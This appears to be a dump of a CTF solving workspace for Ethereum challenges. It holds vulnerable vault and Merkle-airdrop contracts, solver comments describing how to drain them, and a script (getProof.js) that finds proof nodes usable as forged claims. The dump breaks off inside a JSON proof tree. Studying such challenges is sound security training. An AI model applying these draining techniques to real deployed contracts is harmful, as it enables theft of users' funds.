├── .github └── workflows │ └── test.yml ├── .gitignore ├── .gitmodules ├── foundry.toml ├── script └── Counter.s.sol ├── src ├── hint │ └── public │ │ ├── Dockerfile │ │ ├── contracts │ │ ├── HintFinanceFactory.sol │ │ ├── HintFinanceVault.sol │ │ ├── IERC1820.sol │ │ └── Setup.sol │ │ └── deploy │ │ └── chal.py ├── merkledrop │ ├── js │ │ ├── getProof.js │ │ └── package.json │ └── public │ │ ├── Dockerfile │ │ ├── contracts │ │ ├── MerkleDistributor.sol │ │ ├── MerkleProof.sol │ │ └── Setup.sol │ │ ├── deploy │ │ └── chal.py │ │ └── tree.json └── vanity │ ├── public │ ├── Dockerfile │ ├── contracts │ │ ├── Challenge.sol │ │ ├── ECDSA.sol │ │ ├── IERC1271.sol │ │ ├── Setup.sol │ │ └── SignatureChecker.sol │ └── deploy │ │ └── chal.py │ └── rust │ ├── Cargo.lock │ ├── Cargo.toml │ └── src │ └── main.rs └── test ├── Hint.t.sol ├── MerkleProof.t.sol └── Vanity.t.sol /.github/workflows/test.yml: -------------------------------------------------------------------------------- 1 | name: test 2 | 3 | on: workflow_dispatch 4 | 5 | env: 6 | FOUNDRY_PROFILE: ci 7 | 8 | jobs: 9 | check: 10 | strategy: 11 | fail-fast: true 12 | 13 | name: Foundry project 14 | runs-on: ubuntu-latest 15 | steps: 16 | - uses: actions/checkout@v3 17 | with: 18 | submodules: recursive 19 | 20 | - name: Install Foundry 21 | uses: foundry-rs/foundry-toolchain@v1 22 | with: 23 | version: nightly 24 | 25 | - name: Run Forge build 26 | run: | 27 | forge --version 28 | forge build --sizes 29 | id: build 30 | 31 | - name: Run Forge tests 32 | run: | 33 | forge test -vvv 34 | id: test 35 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiler files 2 | cache/ 3 | out/ 4 | 5 | # Ignores development broadcast logs 6 | !/broadcast 7 | /broadcast/* 8 | /broadcast/*/31337/ 9 | 10 | # IDE 11 | .idea/ 12 | 13 | src/vanity/rust/target* 14 | 15 | .env 16 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "lib/forge-std"] 2 | path = lib/forge-std 3 | url = https://github.com/foundry-rs/forge-std 4 | -------------------------------------------------------------------------------- /foundry.toml: -------------------------------------------------------------------------------- 1 | [profile.default] 2 | src = 'src' 3 | out = 'out' 4 | libs = ['lib'] 5 | 6 | # See more config options https://github.com/foundry-rs/foundry/tree/master/config -------------------------------------------------------------------------------- /script/Counter.s.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "forge-std/Script.sol"; 5 | 6 | contract CounterScript is Script { 7 | function setUp() public {} 8 | 9 | function run() public { 10 | vm.broadcast(); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /src/hint/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM gcr.io/paradigmxyz/ctf/eth-base:latest 2 | 3 | COPY deploy/ /home/ctf/ 4 | 5 | COPY contracts /tmp/contracts 6 | 7 | RUN true \ 8 | && cd /tmp \ 9 | && /root/.foundry/bin/forge build --out /home/ctf/compiled \ 10 | && rm -rf /tmp/contracts \ 11 | && true 12 | -------------------------------------------------------------------------------- /src/hint/public/contracts/HintFinanceFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | 3 | pragma solidity 0.8.16; 4 | 5 | import "./HintFinanceVault.sol"; 6 | 7 | contract HintFinanceFactory { 8 | 9 | mapping(address => address) public underlyingToVault; 10 | mapping(address => address) public vaultToUnderlying; 11 | mapping(address => bool) public rewardTokenWhitelist; 12 | 13 | uint256 public constant rewardDuration = 10 days; 14 | address public immutable owner = msg.sender; 15 | 16 | function modifyRewardTokenWhitelist(address rewardToken, bool ok) external { 17 | require(msg.sender == owner); 18 | rewardTokenWhitelist[rewardToken] = ok; 19 | } 20 | 21 | function createVault(address token) external returns (address) { 22 | require(underlyingToVault[token] == address(0)); 23 | address vault = underlyingToVault[token] = address(new HintFinanceVault(token)); 24 | vaultToUnderlying[vault] = token; 25 | return vault; 26 | } 27 | 28 | function addRewardToVault(address vault, address rewardToken) external { 29 | require(rewardTokenWhitelist[rewardToken]); 30 | require(vaultToUnderlying[vault] != address(0) && vaultToUnderlying[vault] != rewardToken); 31 | HintFinanceVault(vault).addReward(rewardToken, rewardDuration); 32 | } 33 | } -------------------------------------------------------------------------------- /src/hint/public/contracts/HintFinanceVault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | 3 | pragma solidity 0.8.16; 4 | 5 | interface ERC20Like { 6 | function transfer(address dst, uint qty) external returns (bool); 7 | function transferFrom(address src, address dst, uint qty) external returns (bool); 8 | function approve(address dst, uint qty) external returns (bool); 9 | function balanceOf(address who) external view returns (uint); 10 | } 11 | 12 | interface IHintFinanceFlashloanReceiver { 13 | function onHintFinanceFlashloan( 14 | address token, 15 | address factory, 16 | uint256 amount, 17 | bool isUnderlyingOrReward, 18 | bytes memory data 19 | ) external; 20 | } 21 | 22 | import "forge-std/Test.sol"; 23 | 24 | contract HintFinanceVault is Test { 25 | 26 | /* ========== STATE VARIABLES ========== */ 27 | 28 | struct Reward { 29 | uint256 rewardsDuration; 30 | uint256 periodFinish; 31 | uint256 rewardRate; 32 | uint256 lastUpdateTime; 33 | uint256 rewardPerTokenStored; 34 | } 35 | 36 | mapping(address => Reward) public rewardData; 37 | address[] public rewardTokens; 38 | 39 | mapping(address => mapping(address => uint256)) public userRewardPerTokenPaid; 40 | mapping(address => mapping(address => uint256)) public rewards; 41 | 42 | uint256 public totalSupply; 43 | mapping(address => uint256) public balanceOf; 44 | 45 | address public immutable factory; 46 | address public immutable underlyingToken; 47 | 48 | bool locked = false; 49 | 50 | /* ========== CONSTRUCTOR ========== */ 51 | 52 | constructor(address _underlyingToken) { 53 | underlyingToken = _underlyingToken; 54 | factory = msg.sender; 55 | } 56 | 57 | /* ========== RESTRICTED FUNCTIONS ========== */ 58 | 59 | function addReward(address rewardToken, uint256 rewardDuration) external { 60 | require(msg.sender == factory); 61 | require(rewardData[rewardToken].rewardsDuration == 0); 62 | rewardTokens.push(rewardToken); 63 | rewardData[rewardToken].rewardsDuration = rewardDuration; 64 | } 65 | 66 | /* ========== VIEWS ========== */ 67 | 68 | function lastTimeRewardApplicable(address rewardToken) public view returns (uint256) { 69 | if (block.timestamp < rewardData[rewardToken].periodFinish) { 70 | return block.timestamp; 71 | } else { 72 | return rewardData[rewardToken].periodFinish; 73 | } 74 | } 75 | 76 | function rewardPerToken(address rewardToken) public view returns (uint256) { 77 | if (totalSupply == 0) return 0; 78 | uint256 newTime = lastTimeRewardApplicable(rewardToken) - rewardData[rewardToken].lastUpdateTime; 79 | uint256 newAccumulated = newTime * rewardData[rewardToken].rewardRate / totalSupply; 80 | return rewardData[rewardToken].rewardPerTokenStored + newAccumulated; 81 | } 82 | 83 | function earned(address account, address rewardToken) public view returns (uint256) { 84 | uint256 newAccumulated = balanceOf[account] * (rewardPerToken(rewardToken) - userRewardPerTokenPaid[account][rewardToken]); 85 | return rewards[account][rewardToken] + newAccumulated; 86 | } 87 | 88 | /* ========== MUTATIVE FUNCTIONS ========== */ 89 | 90 | function provideRewardTokens(address rewardToken, uint256 amount) public updateReward(address(0)) { 91 | require(rewardData[rewardToken].rewardsDuration != 0); 92 | _updateRewardRate(rewardToken, amount); 93 | ERC20Like(rewardToken).transferFrom(msg.sender, address(this), amount); 94 | } 95 | 96 | function _updateRewardRate(address rewardToken, uint256 amount) internal { 97 | if (block.timestamp >= rewardData[rewardToken].periodFinish) { 98 | rewardData[rewardToken].rewardRate = amount / rewardData[rewardToken].rewardsDuration; 99 | } else { 100 | uint256 remaining = rewardData[rewardToken].periodFinish - block.timestamp; 101 | uint256 leftover = remaining * rewardData[rewardToken].rewardRate; 102 | rewardData[rewardToken].rewardRate = (amount + leftover) / rewardData[rewardToken].rewardsDuration; 103 | } 104 | rewardData[rewardToken].lastUpdateTime = block.timestamp; 105 | rewardData[rewardToken].periodFinish = block.timestamp + rewardData[rewardToken].rewardsDuration; 106 | } 107 | 108 | function getRewards() external updateReward(msg.sender) { 109 | for (uint i; i < rewardTokens.length; i++) { 110 | address rewardToken = rewardTokens[i]; 111 | uint256 reward = rewards[msg.sender][rewardToken]; 112 | if (reward > 0) { 113 | rewards[msg.sender][rewardToken] = 0; 114 | ERC20Like(rewardToken).transfer(msg.sender, reward); 115 | } 116 | } 117 | } 118 | 119 | function deposit(uint256 amount) external updateReward(msg.sender) returns (uint256) { 120 | uint256 bal = ERC20Like(underlyingToken).balanceOf(address(this)); 121 | uint256 shares = totalSupply == 0 ? amount : amount * totalSupply / bal; 122 | ERC20Like(underlyingToken).transferFrom(msg.sender, address(this), amount); 123 | totalSupply += shares; 124 | balanceOf[msg.sender] += shares; 125 | return shares; 126 | } 127 | 128 | function withdraw(uint256 shares) external updateReward(msg.sender) returns (uint256) { 129 | uint256 bal = ERC20Like(underlyingToken).balanceOf(address(this)); 130 | uint256 amount = shares * bal / totalSupply; 131 | ERC20Like(underlyingToken).transfer(msg.sender, amount); 132 | totalSupply -= shares; 133 | balanceOf[msg.sender] -= shares; 134 | return amount; 135 | } 136 | 137 | function flashloan(address token, uint256 amount, bytes calldata data) external updateReward(address(0)) { 138 | uint256 supplyBefore = totalSupply; 139 | uint256 balBefore = ERC20Like(token).balanceOf(address(this)); 140 | // @ctf this is evaluated as false so will put zeros in the memory 141 | bool isUnderlyingOrReward = token == underlyingToken || rewardData[token].rewardsDuration != 0; 142 | 143 | ERC20Like(token).transfer(msg.sender, amount); 144 | // @ctf amount = length 145 | // @ctf isUnderlyingOrReward = offset 146 | // @ctf data = _sandVault + bytes32(0) 147 | IHintFinanceFlashloanReceiver(msg.sender).onHintFinanceFlashloan(token, factory, amount, isUnderlyingOrReward, data); 148 | 149 | uint256 balAfter = ERC20Like(token).balanceOf(address(this)); 150 | uint256 supplyAfter = totalSupply; 151 | 152 | require(supplyBefore == supplyAfter); 153 | if (isUnderlyingOrReward) { 154 | uint256 extra = balAfter - balBefore; 155 | if (extra > 0 && token != underlyingToken) { 156 | _updateRewardRate(token, extra); 157 | } 158 | } else { 159 | require(balAfter == balBefore); // don't want random tokens to get stuck 160 | } 161 | } 162 | 163 | /* ========== MODIFIERS ========== */ 164 | 165 | modifier updateReward(address account) { 166 | for (uint i; i < rewardTokens.length; i++) { 167 | address token = rewardTokens[i]; 168 | rewardData[token].rewardPerTokenStored = rewardPerToken(token); 169 | rewardData[token].lastUpdateTime = lastTimeRewardApplicable(token); 170 | if (account != address(0)) { 171 | rewards[account][token] = earned(account, token); 172 | userRewardPerTokenPaid[account][token] = rewardData[token].rewardPerTokenStored; 173 | } 174 | } 175 | _; 176 | } 177 | } 178 | 179 | 180 | -------------------------------------------------------------------------------- /src/hint/public/contracts/IERC1820.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.8.16; 2 | 3 | interface IERC1820Registry { 4 | function setInterfaceImplementer( 5 | address _addr, 6 | bytes32 _interfaceHash, 7 | address _implementer 8 | ) external; 9 | 10 | function getManager(address _addr) external view returns (address); 11 | 12 | function setManager(address _addr, address _newManager) external; 13 | 14 | function interfaceHash(string memory _interfaceName) 15 | external 16 | pure 17 | returns (bytes32); 18 | 19 | function updateERC165Cache(address _contract, bytes4 _interfaceId) external; 20 | 21 | function getInterfaceImplementer(address _addr, bytes32 _interfaceHash) 22 | external 23 | view 24 | returns (address); 25 | 26 | function implementsERC165InterfaceNoCache( 27 | address _contract, 28 | bytes4 _interfaceId 29 | ) external view returns (bool); 30 | 31 | function implementsERC165Interface(address _contract, bytes4 _interfaceId) 32 | external 33 | view 34 | returns (bool); 35 | 36 | event InterfaceImplementerSet( 37 | address indexed addr, 38 | bytes32 indexed interfaceHash, 39 | address indexed implementer 40 | ); 41 | event ManagerChanged(address indexed addr, address indexed newManager); 42 | } -------------------------------------------------------------------------------- /src/hint/public/contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | 3 | pragma solidity 0.8.16; 4 | 5 | import "./HintFinanceFactory.sol"; 6 | 7 | import "forge-std/Test.sol"; 8 | 9 | interface UniswapV2RouterLike { 10 | function swapExactETHForTokens(uint amountOutMin, address[] memory path, address to, uint deadline) external payable; 11 | } 12 | 13 | contract Setup is Test { 14 | 15 | address[3] public underlyingTokens = [ 16 | 0x89Ab32156e46F46D02ade3FEcbe5Fc4243B9AAeD, 17 | 0x3845badAde8e6dFF049820680d1F14bD3903a5d0, 18 | 0xfF20817765cB7f73d4bde2e66e067E58D11095C2 19 | ]; 20 | 21 | address[3] public rewardTokens = [ 22 | 0xdAC17F958D2ee523a2206206994597C13D831ec7, 23 | 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, 24 | 0x6B175474E89094C44Da98b954EedeAC495271d0F 25 | ]; 26 | 27 | uint256[3] public initialUnderlyingBalances; 28 | HintFinanceFactory public hintFinanceFactory = new HintFinanceFactory(); 29 | 30 | constructor() payable { 31 | 32 | UniswapV2RouterLike router = UniswapV2RouterLike(0xf164fC0Ec4E93095b804a4795bBe1e041497b92a); 33 | address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 34 | address[] memory path = new address[](2); 35 | path[0] = weth; 36 | 37 | for (uint256 i = 0; i < underlyingTokens.length; ++i) { 38 | // swap for underlying tokens 39 | path[1] = underlyingTokens[i]; 40 | router.swapExactETHForTokens{value: 10 ether}(0, path, address(this), block.timestamp); 41 | 42 | // add underlying token to vault 43 | address vault = hintFinanceFactory.createVault(underlyingTokens[i]); 44 | ERC20Like(underlyingTokens[i]).approve(vault, type(uint256).max); 45 | HintFinanceVault(vault).deposit(ERC20Like(underlyingTokens[i]).balanceOf(address(this))); 46 | initialUnderlyingBalances[i] = ERC20Like(underlyingTokens[i]).balanceOf(vault); 47 | } 48 | 49 | for (uint256 i = 0; i < rewardTokens.length; ++i) { 50 | hintFinanceFactory.modifyRewardTokenWhitelist(rewardTokens[i], true); 51 | } 52 | } 53 | 54 | // @ctf we need to drain > 99% of the pools 55 | function isSolved() public returns (bool) { 56 | for (uint256 i = 0; i < underlyingTokens.length; ++i) { 57 | address vault = hintFinanceFactory.underlyingToVault(underlyingTokens[i]); 58 | uint256 vaultUnderlyingBalance = ERC20Like(underlyingTokens[i]).balanceOf(vault); 59 | if (vaultUnderlyingBalance > initialUnderlyingBalances[i] / 100) return false; 60 | } 61 | return true; 62 | } 63 | } 64 | 65 | -------------------------------------------------------------------------------- /src/hint/public/deploy/chal.py: -------------------------------------------------------------------------------- 1 | import json 2 | from pathlib import Path 3 | 4 | import eth_sandbox 5 | from web3 import Web3 6 | 7 | 8 | def deploy(web3: Web3, deployer_address: str, player_address: str) -> str: 9 | rcpt = eth_sandbox.sendTransaction(web3, { 10 | "gas": 15_000_000, 11 | "from": deployer_address, 12 | "value": Web3.toWei(30, 'ether'), 13 | "data": json.loads(Path("compiled/Setup.sol/Setup.json").read_text())["bytecode"]["object"], 14 | }) 15 | 16 | return rcpt.contractAddress 17 | 18 | eth_sandbox.run_launcher([ 19 | eth_sandbox.new_launch_instance_action(deploy), 20 | eth_sandbox.new_kill_instance_action(), 21 | eth_sandbox.new_get_flag_action() 22 | ]) 23 | -------------------------------------------------------------------------------- /src/merkledrop/js/getProof.js: -------------------------------------------------------------------------------- 1 | import tree from '../src/merkledrop/public/tree.json' assert {type: 'json'} 2 | 3 | 4 | const main = () => { 5 | const claims = tree["claims"]; 6 | 7 | const maxAmount = hex_as_int(tree["tokenTotal"]) 8 | 9 | for (const account in claims) { 10 | const claim = claims[account] 11 | 12 | const proof1 = claim["proof"][0] 13 | const proof2 = claim["proof"][1] 14 | 15 | /*const fake_proof = proof1 + proof2.substring(2) 16 | const trimmed_proof = fake_proof.substring(2)*/ 17 | 18 | const fake_proof = proof1.substring(2) 19 | 20 | // 1 bytes = 8 bits 21 | // 1 hex nibble = 256 bits (2*8*8 22 | // = 32 bytes 23 | 24 | /*const index = trimmed_proof.substring(0, 64) 25 | const address = trimmed_proof.substring(64, 104) 26 | const amount = trimmed_proof.substring(104)*/ 27 | 28 | const address = fake_proof.substring(0, 40) // 2 hex = 1 byte 29 | const amount = fake_proof.substring(40) 30 | 31 | if (maxAmount >= hex_as_int(amount)) { 32 | console.log(claim["index"], fake_proof, "0x" + address, hex_as_int(amount)) 33 | } 34 | // Now that we have found a correct amount, we can pad the index, can be done in solidity 35 | } 36 | } 37 | 38 | const hex_as_int = (hex) => { 39 | return parseInt(hex, 16) 40 | } 41 | 42 | main() -------------------------------------------------------------------------------- /src/merkledrop/js/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "js", 3 | "type": "module", 4 | "version": "1.0.0", 5 | "description": "", 6 | "main": "index.js", 7 | "scripts": { 8 | "test": "echo \"Error: no test specified\" && exit 1" 9 | }, 10 | "author": "", 11 | "license": "ISC" 12 | } 13 | -------------------------------------------------------------------------------- /src/merkledrop/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM gcr.io/paradigmxyz/ctf/eth-base:latest 2 | 3 | COPY deploy/ /home/ctf/ 4 | 5 | COPY contracts /tmp/contracts 6 | 7 | RUN true \ 8 | && cd /tmp \ 9 | && /root/.foundry/bin/forge build --out /home/ctf/compiled \ 10 | && rm -rf /tmp/contracts \ 11 | && true 12 | -------------------------------------------------------------------------------- /src/merkledrop/public/contracts/MerkleDistributor.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | 3 | pragma solidity 0.8.16; 4 | 5 | import "./MerkleProof.sol"; 6 | 7 | interface ERC20Like { 8 | function transfer(address dst, uint qty) external returns (bool); 9 | } 10 | 11 | contract MerkleDistributor { 12 | 13 | event Claimed(uint256 index, address account, uint256 amount); 14 | 15 | address public immutable token; 16 | bytes32 public immutable merkleRoot; 17 | 18 | // This is a packed array of booleans. 19 | mapping(uint256 => uint256) private claimedBitMap; 20 | 21 | constructor(address token_, bytes32 merkleRoot_) { 22 | token = token_; 23 | merkleRoot = merkleRoot_; 24 | } 25 | 26 | function isClaimed(uint256 index) public view returns (bool) { 27 | uint256 claimedWordIndex = index / 256; 28 | uint256 claimedBitIndex = index % 256; 29 | uint256 claimedWord = claimedBitMap[claimedWordIndex]; 30 | uint256 mask = (1 << claimedBitIndex); 31 | return claimedWord & mask == mask; 32 | } 33 | 34 | function _setClaimed(uint256 index) private { 35 | uint256 claimedWordIndex = index / 256; 36 | uint256 claimedBitIndex = index % 256; 37 | claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex); 38 | } 39 | 40 | // @ctf index + account + amount = 32 + 20 + 12 = 64 bytes 41 | // @ctf merkleProof = 32 bytes array. 2 proofs = 64 bytes 42 | // @ctf so we can skip the first leaf 43 | // @ctf pass index, account, amount as first leaf 44 | // @ctf we need to find an amount that is < 75.000 * 1e18 in the proof 45 | function claim(uint256 index, address account, uint96 amount, bytes32[] memory merkleProof) external { 46 | require(!isClaimed(index), 'MerkleDistributor: Drop already claimed.'); 47 | 48 | // Verify the merkle proof. 49 | bytes32 node = keccak256(abi.encodePacked(index, account, amount)); 50 | require(MerkleProof.verify(merkleProof, merkleRoot, node), 'MerkleDistributor: Invalid proof.'); 51 | 52 | // Mark it claimed and send the token. 53 | _setClaimed(index); 54 | require(ERC20Like(token).transfer(account, amount), 'MerkleDistributor: Transfer failed.'); 55 | 56 | emit Claimed(index, account, amount); 57 | } 58 | } -------------------------------------------------------------------------------- /src/merkledrop/public/contracts/MerkleProof.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | 3 | pragma solidity 0.8.16; 4 | 5 | /** 6 | * @title MerkleProof 7 | * @dev Merkle proof verification based on 8 | * https://github.com/ameensol/merkle-tree-solidity/blob/master/src/MerkleProof.sol 9 | */ 10 | library MerkleProof { 11 | /** 12 | * @dev Verifies a Merkle proof proving the existence of a leaf in a Merkle tree. Assumes that each pair of leaves 13 | * and each pair of pre-images are sorted. 14 | * @param proof Merkle proof containing sibling hashes on the branch from the leaf to the root of the Merkle tree 15 | * @param root Merkle root 16 | * @param leaf Leaf of Merkle tree 17 | */ 18 | function verify( 19 | bytes32[] memory proof, 20 | bytes32 root, 21 | bytes32 leaf 22 | ) 23 | internal 24 | pure 25 | returns (bool) 26 | { 27 | bytes32 computedHash = leaf; 28 | 29 | for (uint256 i = 0; i < proof.length; i++) { 30 | bytes32 proofElement = proof[i]; 31 | 32 | if (computedHash < proofElement) { 33 | // Hash(current computed hash + current element of the proof) 34 | computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); 35 | } else { 36 | // Hash(current element of the proof + current computed hash) 37 | computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); 38 | } 39 | } 40 | 41 | // Check if the computed hash (root) is equal to the provided root 42 | return computedHash == root; 43 | } 44 | } -------------------------------------------------------------------------------- /src/merkledrop/public/contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | 3 | pragma solidity 0.8.16; 4 | 5 | import "./MerkleDistributor.sol"; 6 | 7 | contract Token is ERC20Like { 8 | mapping(address => uint256) public balanceOf; 9 | mapping(address => mapping(address => uint256)) public allowance; 10 | uint256 public totalSupply = 1_000_000 ether; 11 | 12 | constructor() { 13 | balanceOf[msg.sender] = totalSupply; 14 | } 15 | 16 | function approve(address to, uint256 amount) public returns (bool) { 17 | allowance[msg.sender][to] = amount; 18 | return true; 19 | } 20 | 21 | function transfer(address to, uint256 amount) public returns (bool) { 22 | return transferFrom(msg.sender, to, amount); 23 | } 24 | 25 | function transferFrom(address from, address to, uint256 amount) public returns (bool) { 26 | if (from != msg.sender) { 27 | allowance[from][to] -= amount; 28 | } 29 | balanceOf[from] -= amount; 30 | balanceOf[to] += amount; 31 | return true; 32 | } 33 | } 34 | 35 | contract Setup { 36 | 37 | Token public immutable token; 38 | MerkleDistributor public immutable merkleDistributor; 39 | 40 | constructor() payable { 41 | token = new Token(); 42 | uint256 airdropAmount = 75000 * 10 ** 18; 43 | merkleDistributor = new MerkleDistributor( 44 | address(token), 45 | bytes32(0x5176d84267cd453dad23d8f698d704fc7b7ee6283b5131cb3de77e58eb9c3ec3) 46 | ); 47 | token.transfer(address(merkleDistributor), airdropAmount); 48 | } 49 | 50 | function isSolved() public view returns (bool) { 51 | bool condition1 = token.balanceOf(address(merkleDistributor)) == 0; 52 | bool condition2 = false; 53 | for (uint256 i = 0; i < 64; ++i) { 54 | if (!merkleDistributor.isClaimed(i)) { 55 | condition2 = true; 56 | break; 57 | } 58 | } 59 | return condition1 && condition2; 60 | } 61 | } -------------------------------------------------------------------------------- /src/merkledrop/public/deploy/chal.py: -------------------------------------------------------------------------------- 1 | import json 2 | from pathlib import Path 3 | 4 | import eth_sandbox 5 | from web3 import Web3 6 | 7 | 8 | def deploy(web3: Web3, deployer_address: str, player_address: str) -> str: 9 | rcpt = eth_sandbox.sendTransaction(web3, { 10 | "from": deployer_address, 11 | "value": Web3.toWei(50, 'ether'), 12 | "data": json.loads(Path("compiled/Setup.sol/Setup.json").read_text())["bytecode"]["object"], 13 | }) 14 | 15 | return rcpt.contractAddress 16 | 17 | eth_sandbox.run_launcher([ 18 | eth_sandbox.new_launch_instance_action(deploy), 19 | eth_sandbox.new_kill_instance_action(), 20 | eth_sandbox.new_get_flag_action() 21 | ]) 22 | -------------------------------------------------------------------------------- /src/merkledrop/public/tree.json: -------------------------------------------------------------------------------- 1 | { 2 | "merkleRoot": "0x5176d84267cd453dad23d8f698d704fc7b7ee6283b5131cb3de77e58eb9c3ec3", 3 | "tokenTotal": "0x0fe1c215e8f838e00000", 4 | "claims": { 5 | "0x00E21E550021Af51258060A0E18148e36607C9df": { 6 | "index": 0, 7 | "amount": "0x09906894166afcc878", 8 | "proof": [ 9 | "0xa37b8b0377c63d3582581c28a09c10284a03a6c4185dfa5c29e20dbce1a1427a", 10 | "0x0ae01ec0f7a50774e0c1ad35f0f5efcc14c376f675704a6212b483bfbf742a69", 11 | "0x3f267b524a6acda73b1d3e54777f40b188c66a14a090cd142a7ec48b13422298", 12 | "0xe2eae0dabf8d82b313729f55298625b7ac9ba0f12e408529bae4a2ce405e7d5f", 13 | "0x01cf774c22de70195c31bde82dc3ec94807e4e4e01a42aca6d5adccafe09510e", 14 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 15 | ] 16 | }, 17 | "0x046887213a87DC19e843E6E3e47Fc3243A129ad0": { 18 | "index": 1, 19 | "amount": "0x41563bf77450fa5076", 20 | "proof": [ 21 | "0xbadd8fe5b50451d4c1157443afb33e60369d0949d65fc61d06fca35576f68caa", 22 | "0xb74970b484c464c0e6872c78a4fec81a5166f500c6e128052ca5db7a7e22d858", 23 | "0xf5f6b74e51a15573007b59fb217c22c55fd9748a1e70578c6ddaf550b7298882", 24 | "0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813", 25 | "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c", 26 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 27 | ] 28 | }, 29 | "0x04E9df03e12F21bFB77a97e4306Ef4daeb4129c2": { 30 | "index": 2, 31 | "amount": "0x36df43795a7caf4540", 32 | "proof": [ 33 | "0x30976e6e39aeda0af50595309cfe319061ee99610d640a3ff2d490653963d22a", 34 | "0xc8a963490279786bf4d9522dad319dd536d7de4764d2fc6564356ff73b49cf16", 35 | "0x955c47a5eea3ebf139056c0603d096a40a686b2304506f7509859fe9cc19bd79", 36 | "0x21daac29f18f235ede61e08c609f5762e5d12f87d9f014a3254039eb7b71d931", 37 | "0x4fcfc1702cc3495bc600779c15a4aec4dc5f6432cbf82d5209c0f07095ffe33c", 38 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 39 | ] 40 | }, 41 | "0x05e1E52D41A616Df68810039AD972D6f1280cbae": { 42 | "index": 3, 43 | "amount": "0x195efe9af09f01e4b6", 44 | "proof": [ 45 | "0x28b36a3afabfcfd4a6bc37d9275ebc12768dead832b45fe0f798666b3504b761", 46 | "0xb78206103b20c68f5d201d54f68a9ae27530ce21120501797e6cf8c69f6f2be2", 47 | "0x955c47a5eea3ebf139056c0603d096a40a686b2304506f7509859fe9cc19bd79", 48 | "0x21daac29f18f235ede61e08c609f5762e5d12f87d9f014a3254039eb7b71d931", 49 | "0x4fcfc1702cc3495bc600779c15a4aec4dc5f6432cbf82d5209c0f07095ffe33c", 50 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 51 | ] 52 | }, 53 | "0x0b3041F7d5E847b06CbE83d096f65b3C19869B39": { 54 | "index": 4, 55 | "amount": "0x4dfdb4bae7d0d20cb6", 56 | "proof": [ 57 | "0xe13771d2a0c4dea1be80f66f0a2c74f429151e8146d642c4306be93190bc89c5", 58 | "0xd5423e8e964fcfbe8025bf3f96273ba0c0039f284d40c720a8466bd39e5d3eb9", 59 | "0x2fa599012c0491428e6451d1cc1511f133f82c66ee98b9eefc1b4c263db48518", 60 | "0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a", 61 | "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c", 62 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 63 | ] 64 | }, 65 | "0x20ECC9f3Dfa1E4CF967F6CCb96087603Cd0C0ea5": { 66 | "index": 5, 67 | "amount": "0x3b700f748237270c9f", 68 | "proof": [ 69 | "0x25342959be7576258fb48037698afbc01f7e1d0c391d5039ca70adec577b5a62", 70 | "0x4db4c30a97febfe168893f90f7ed6b5d2fd442c87de6db7367ca1f4f254d7560", 71 | "0x0cd186d2b1377ee96a87ef7a295dec75cc05b54a08fcaca61868911d6ac9bc27", 72 | "0x21daac29f18f235ede61e08c609f5762e5d12f87d9f014a3254039eb7b71d931", 73 | "0x4fcfc1702cc3495bc600779c15a4aec4dc5f6432cbf82d5209c0f07095ffe33c", 74 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 75 | ] 76 | }, 77 | "0x21300678bcC7E47c9c7fa58eE4F51Ea46aB91140": { 78 | "index": 6, 79 | "amount": "0x24f61ca059bc24bfe0", 80 | "proof": [ 81 | "0x7ff95132a090b7338eb1e2937425f14f7e112cca82de611f0eab14b5310848ec", 82 | "0xa9fd6f5ade2e4b246e93337936684b7a5cc7285dca4caf3b26203f258211bb75", 83 | "0x449eac22434639a214604e71bc3c53ee18a2803f1cca16000e5d26fe3ee6ac11", 84 | "0xf2511a8dc138320a73ce3b126adfa94a3e290691a9071d85189d01ef860bd734", 85 | "0x01cf774c22de70195c31bde82dc3ec94807e4e4e01a42aca6d5adccafe09510e", 86 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 87 | ] 88 | }, 89 | "0x21D11058D97A281ceeF9Bdd8A5d2F1Ca5472E630": { 90 | "index": 7, 91 | "amount": "0x35ddccf9e44848307f", 92 | "proof": [ 93 | "0x00827f08f3d161ff8988e9489ef341a194b5d3a36307e79881af5b8cc03ae154", 94 | "0x68cb43b42c0f1a39502ac222e901a42950ac602e2335eca67a15e3f6a661a7d7", 95 | "0xd7fc0d5cfae7aea3e6f1c1a6d427c9da67942e8091b8bf719a39cb31442588cf", 96 | 